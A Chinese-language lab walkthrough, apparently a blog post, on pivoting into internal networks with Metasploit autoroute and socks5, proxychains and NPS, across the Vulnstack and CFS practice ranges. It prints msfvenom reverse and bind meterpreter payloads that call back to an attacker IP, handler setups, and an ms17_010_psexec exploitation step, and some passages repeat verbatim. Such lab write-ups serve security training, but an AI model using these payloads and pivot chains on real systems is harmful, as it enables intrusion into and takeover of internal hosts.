前言
在我们的内网渗透中,我们往往是通过拿下Web服务器的权限,再通过Web服务器做一个跳板来做横向渗透。我们知道在我们拿下的Web的服务器上做一些横向渗透是有点困难的,因为在Web这台机器上没有我们平常渗透常用的一些渗透工具,故横向渗透非常的困难,假如我们可以直接用我们自己的电脑做攻击机就可以让我们在渗透的过程中得心应手。但是我们知道我们想要拿到的服务器在内网之中,我们无法通过互联网去直接访问它,这种时候我们又想控制它,我们就需要借助一些代理技术来辅助我们去完成直接控制内网机器的过程。
环境搭建
这里借助一个红日团队开源的一个红队实战测试的部分来完成本次环境搭建,靶机下载地址如下:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
环境搭建
这里借助一个红日团队开源的一个红队实战测试的部分来完成本次环境搭建,靶机下载地址如下:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
对本靶场环境做出一些修改之后,最终环境如下所示
黑客攻击机:kali、windows10
网卡IP:192.168.178.128 网卡IP:192.168.178.1
Web服务器:windows7系统
外网网卡IP:192.168.178.133 内网网卡IP:192.168.52.143
域控服务器:windows server 2008系统
网卡IP:192.168.52.138
网络互通状况
kali、windows10可以ping通windows7的外网网卡,ping不通内网网卡 windows7可以ping通kali、windows10和windows server 2008 windows server 2008 ping不通windows7、kali和windows10
MSF
首先我们通过windows7开放的Web服务先拿下Web服务器的权限,这里主要写的是代理的知识,拿Web权限就不在过多阐述。
拿到Web权限之后,我们可以利用msfvenom生成一个后门,然后利用Web权限进行上传。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.178.128 lport=4444 -f exe >shell.exe
上传之后在kali上配置监听,拿服务器权限。
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.178.128
拿到Web服务器权限之后,我们可以通过这个Web服务器的shell来做一些内网上的渗透,但是我如果想直接通过我们kali攻击机去访问到windwos server 2008我们该怎么去做呢。我们知道我们的kali是无法ping通windwos server 2008,因为windwos server 2008它是不出网的,想要访问到windwos server 2008这里就要借助一些代理知识来辅助我们了。
本篇我们先借助MSF来实现代理功能
在拿到meterpreter权限之后,我们可以使用如下命令来查看一下网络中的路由信息
meterpreter > run get_local_subnets
我们kali所属的网段是192.168.178.0的网段,这里还有一个192.168.52.0的网段,所以这时我们就可以利用MSF中的扫描模块对52网段进行一波扫描实现主机发现,这里我们根据上文环境搭建部分,已经知道内网中还存在一台192.168.52.138 IP的windwos server 2008。
那么我们可以在这里添加一条指向52网段的路由,如下。
meterpreter > run autoroute -s 192.168.52.0/255.255.255.0
然后使用如下命令查看session中的路由。
meterpreter > run autoroute -p
在session存在路由了之后,我们可以使用一个代理socks的代理模块
msf5 exploit(multi/handler) > use auxiliary/server/socks5 msf5 auxiliary(server/socks5) > set srvhost 192.168.178.128 #本处设置IP为kali攻击机IP
配置好了socks代理,我们可以借助一款kali上自带的全局代理软件proxychains来连接socks代理
首先我们对proxychains代理软件进行配置
vim /etc/proxychains.conf
在末尾添加socks代理的映射关系(且与在MSF上配置的相对应)
配置好之后,我们就可以通过proxychains来访问到内网中的windwos server 2008这台服务器了。
如此,我们就还可以生成一个正向的木马,然后通过一些漏洞上传到windwos server 2008上,再利用proxychains来启动MSF配置监听,来达到利用kali接受到内网中windows server 2008这台服务器的shell。
NPS代理攻击
除了MSF之外还有许多现成的代理工具如Frp、NPS、EarthWorm、reGeorg等等,这些代理工具使用方法都大同小异,由于本人经常使用NPS,故下文主要演示一下NPS的使用。
NPS是一款轻量级、高性能、功能强大的内网穿透代理服务器,它几乎支持所有协议,其还支持内网http代理、内网socks5代理、p2p等等。NPS相比其他代理工具其具有简洁且功能强大的WEB管理界面,支持服务端、客户端同时控制,扩展功能强大。
下载地址
https://github.com/fatedier/frp https://ehang-io.github.io/nps/#/ #官方使用文档
这里存在对应版本的客户端和服务端,可以都下载下来。
首先我们通过windows7开放的Web服务先拿下Web服务器的权限,这里主要写的是代理的知识,拿Web权限就不在过多阐述。
拿到Web权限之后,我们可以利用msfvenom生成一个后门,然后利用Web权限进行上传。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.178.128 lport=4444 -f exe >shell.exe
上传之后在kali上配置监听,拿服务器权限。
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.178.128
然后我们可以把我们下载好的对应版本的NPS客户端上传到这台Web服务器上。
D:\tools\nps\windows_386_server>nps install
上传好之后,我们可以在攻击机windows10上启动NPS服务端,首先以管理员权限启动cmd,然后执行如下命令进行NPS的初始化安装
D:\tools\nps\windows_386_server>nps install
然后启动即可
D:\tools\nps\windows_386_server>nps.exe start
启动好之后,我们可以输入本地IP+8080端口进行访问WEB客户端
输入默认账号admin,密码123进入管理页面
进入管理页面之后,我们可以新增一个客户端
然后根据提示添加相关信息即可
添加好一个客户端之后,我们可以在windwos7那台Web服务器上用我们之前上传的NPS客户端软件进行连接,连接命令如下图
执行命令之后,我们就可以回到我们的WEB界面,可以看到一个客户端已经进行连接
连接成功之后,我们可以新增一个socks5的代理
配置好客户端id,和服务端端口等信息(id为上图中所创建的客户端id号)
点击新增后,即可发现已经创建号socks5的代理
那么接下来,我们可以通过这个socks5的代理,对内网windwos server 2008的服务器进行访问一下。
我们可以利用SwitchyOmega配置socks5代理对内网中的windwos server 2008的Web服务进行访问
添加代理后可以对windwos server 2008的Web服务进行正常访问
当然我们还可以借助Proxifier这款软件做一个socks5的全局代理
配置好之后,也可以对其进行访问
多级代理
在有些内网环境中,它的内网环境分为好几层,我们必须通过拿到一层内网中服务器的权限之后再通过这一内网中的服务器进一步访问二层内网中的其他服务器。在这种环境中,我们就需要多级代理突破层层内网,来实现在内网中漫游。
环境搭建
本次实验环境借助一个CFS三层的靶机,靶机下载地址如下
【CFS三层靶机环境】百度网盘链接: 链接: https://pan.baidu.com/s/1LJueA-X02K7HZXr8QsOmeg 提取码: dkcp 解压密码:teamssix.com
网络拓扑图如下(子网掩码都为24位)
在该网络拓扑中178网段模拟的是外网环境,239网段为第一层内网,154网段为第二层内网,每一个target靶机中都存放着一个flag,最终目的是要拿到所有目标靶机中的flag,当然我们这讨论的是代理知识,所以flag我们就忽略掉。
首先用nmap对178网段中存活主机做一个探测
可以发现在178网段中存在一个142的地址,也就是centos7的地址,发现142可以再利用nmap对其进行一个系统扫描
其中开放这80端口,我们可以对他的80端口进行一个访问,最终是会发现存在一个Think PHP
该版本存在一个RCE执行,这里利用工具进行一键get shell
然后蚁剑链接
连接之后,我们利用msfvenom创建一个后门
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.178.128 lport=4444 -f elf >shell.elf
通过web shell上传到target 1服务器上,然后在kali上配置监听
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.178.128
执行后门拿下target 1服务器权限
在拿到meterpreter权限之后,我们可以 run get_local_subnets 查看一下网络中的路由信息
meterpreter > run autoroute -s 192.168.239.0/24
然后使用 run autoroute -p 查看session中的路由是否添加成功。
发现已存在,接下来我们使用一个socks5代理模块
///
msf5 exploit(multi/handler) > use auxiliary/server/socks5
然后配置好ip,run启动
配置好了socks代理,我们可以借助一款kali上自带的全局代理软件proxychains来连接socks代理
首先我们对proxychains代理软件进行配置
vim /etc/proxychains.conf
在末尾添加socks代理的映射关系(且与在MSF上配置的相对应)
配置好后,我们利用代理软件来启动nmap对239网段中存活主机做一个探测
proxychains nmap -sT -p80 192.168.239.1/24 #正常不能添加-p参数,这里为上帝视角知道239网段中129主机启动着一个web服务,目的是让扫描快一点
扫描到239网段中的129地址,接下来和之前一样对其进行一个系统的扫描,访问web服务,web服务中存在sql注入然后拿下web权限(target2拿web权限的操作省略),拿下权限通过msfvenom创建后门进行上传,但是此处的后门要生成一个正向的后门。
msfvenom -p linux/x64/meterpreter/bind_tcp lport=1234 -f elf >shell2.elf
此处为什么要生成一个正向的木马呢,我们在这分析一下,这里再放下拓扑图,方便理解。
我们拿下了target2的web权限,加入这是我们上传的是反向的木马,那么target2就要去寻找我们kali的路由,但是target2主机中没有kali的路由,那么就会导致我们的反弹shell失败,之后我们再来看看正向的。
我们生成了一个正向的木马,我们的kali攻击机就会去主动寻找target2的服务器,这个时候我们应为做了一个socks5的代理,我们的流量会通过kali的ip的1080端口代理给target1,然后target1中是存在239网段中的路由的,所以我们可以正常进行连接。
理解好之后,之后的操作就很简单了,通过我们通过sql注入拿到的web权限上传木马,然后在kali上利用proxychains启动msfconsole
root@root:~/桌面# proxychains msfconsole
然后配置监听
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp msf5 exploit(multi/handler) > set lport 1234 msf5 exploit(multi/handler) > set rhost 192.168.239.129
执行木马即可拿下第二层主机服务器权限
拿下第二层之后,之后操作大同小异,添加路由,探测第三层存活主机,发现192.168.154.129的ip,然后该台机器存在永恒之蓝漏洞,利用ms17-010拿下第三层权限
msf5 exploit(multi/handler) > use exploit/windows/smb/ms17_010_psexec
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
至此三个靶机中的flag都可以找到。